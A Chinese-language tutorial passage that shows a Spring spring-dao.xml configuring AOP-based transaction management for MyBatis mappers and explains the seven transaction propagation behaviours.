之前我们手动维护的成员对象叫做sqlSession,而之后继承自SqlSessionDaoSupport的是sqlSessionTemplate对象,实际上两个作用相同,就是property中的键名要改一下而已

使用事务

AOP实现事务织入

只需要在spring-dao.xml中增加配置,不需要修改任何源代码

spring-dao.xml这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:util="http://www.springframework.org/schema/util"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/aop
https://www.springframework.org/schema/aop/spring-aop.xsd
http://www.springframework.org/schema/util
https://www.springframework.org/schema/util/spring-util.xsd
http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx.xsd">






<!-- 注册数据源,使用第三方类DriverManagerDataSource-->
<bean id="datasource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/mybatis"/>
<property name="username" value="root"/>
<property name="password" value="sjh123456"/>
</bean>


<!--注册工厂类,此处可以导入mybatis-config.xml-->
<!--也可以直接在本sqlSessionFactory中配置,不使用mybatis-config.xml-->
<!--教程的做法是,mybatis-config.xml只保留typeAilas作用-->
<bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<property name="dataSource" ref="datasource"/>
<property name="configLocation" value="classpath:mybatis-config.xml"/>
<!-- 可以在此处注册映射器,也可以在mybatis-config.xml中注册映射器,由于mybatis-config.xml已经注册过,这里不再重复-->
<!-- <property name="mapperLocations" value="top/dustball/mapper/UserMapper/UserMapper.xml"/>-->
<!-- <property name="typeAliases" value="top.dustball.pojo"/>-->
</bean>

<!-- 创建数据库会话实例,本bean的作用与之前的MyBatisUtil.getSqlSession相同-->
<bean id="sqlSession" class="org.mybatis.spring.SqlSessionTemplate">
<!-- 本bean只可以只用构造函数注入,因其不含setter方法-->
<constructor-arg name="sqlSessionFactory" ref="sqlSessionFactory"/>
</bean>

<!-- 实例化映射器,关于user表的业务可以直接从userMapper上进行操作,相当于sqlSession.getMapper(UserMapper.class)-->
<bean id="userMapper" class="top.dustball.mapper.UserMapper.UserMapperImpl">
<property name="sqlSessionTemplate" ref="sqlSession"/>
</bean>

<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
<constructor-arg ref="datasource"/>
</bean>


<!-- tx是事务标签-->
<tx:advice id="txAdvice" transaction-manager="transactionManager">
<!-- 给哪些方法上事务-->
<!-- 配置事务的传播特性-->
<!-- 一般设计数据库的业务都需要事务,查询除外,因此可以简单粗暴全上事务-->
<tx:attributes>
<tx:method name="add*" propagation="REQUIRED"/>
<tx:method name="delete*" propagation="REQUIRED"/>
<tx:method name="update*"/>
<tx:method name="select" read-only="true"/>
<tx:method name="*" propagation="REQUIRED"/>
</tx:attributes>
</tx:advice>


<aop:config>
<!-- mapper下面的所有类的所有方法都作为切点-->
<aop:pointcut id="pointcut" expression="execution(* top.dustball.mapper.*.*.* (..) )"/>

<!--txAdivce作为通知应用于pointcut切点-->
<aop:advisor advice-ref="txAdvice" pointcut-ref="pointcut"/>
</aop:config>

</beans>

增加了一个transactionManager,一个txAdvice,一个aop

其中事务管理器可以有多种,JDBC,Druid等等

关键在于<tx:advice>标签,即事务通知,该标签用于说明给哪些方法上事务,只是针对方法名,此时还不会针对类名

1
<tx:method name="add*" propagation="REQUIRED"/>

这里propagation属性用于设置事务的传播属性,一般都是用REQUIRED,其他的有需要再查

事务的七种传播特性

默认值是required

默认值是required

默认值是required

传播特性 意义
required 如果存在当前事务,那么加入该事务,
如果不存在事务,就创建一个事务。这是propagation的默认值
supports 如果当前已经存在事务,那么加入该事务,
否则创建一个所谓的空事务。
mandatory 当前必须存在一个事务,否则抛出异常
requires-new 如果当前存在事务,先把当前事务相关内容封装到一个实体,
然后重新创建一个新事务,并接受这个实体作为参数,用于事务恢复。
not-supported 如果当前存在事务,挂起当前事务,然后新的方法在没有事务的环境中执行。
没有spring事务的环境下,sql的提交完全依赖于defaultAutoCommit属性值
never 如果当前存在事务,则抛出异常。
否则在无事务的环境上执行代码
nested 如果当前存在事务,则使用savepoint技术将当前事务状态进行保存,<br /然后底层公用一个链接,
当nested内部出现错误的时候,自行回滚到save point的状态。
只要外部捕获到了异常,就可以继续进行外部事务的提交,而不会受到内嵌事务的干扰。
但是,如果外部事物抛出了异常,整个大事务都会回滚。

最后aop:config标签的作用是,将tx:advice通知作用与mapper包下的所有类的所有方法

之后所有的Dao层操作都是事务操作.

此前和此后在测试类中调用没有区别.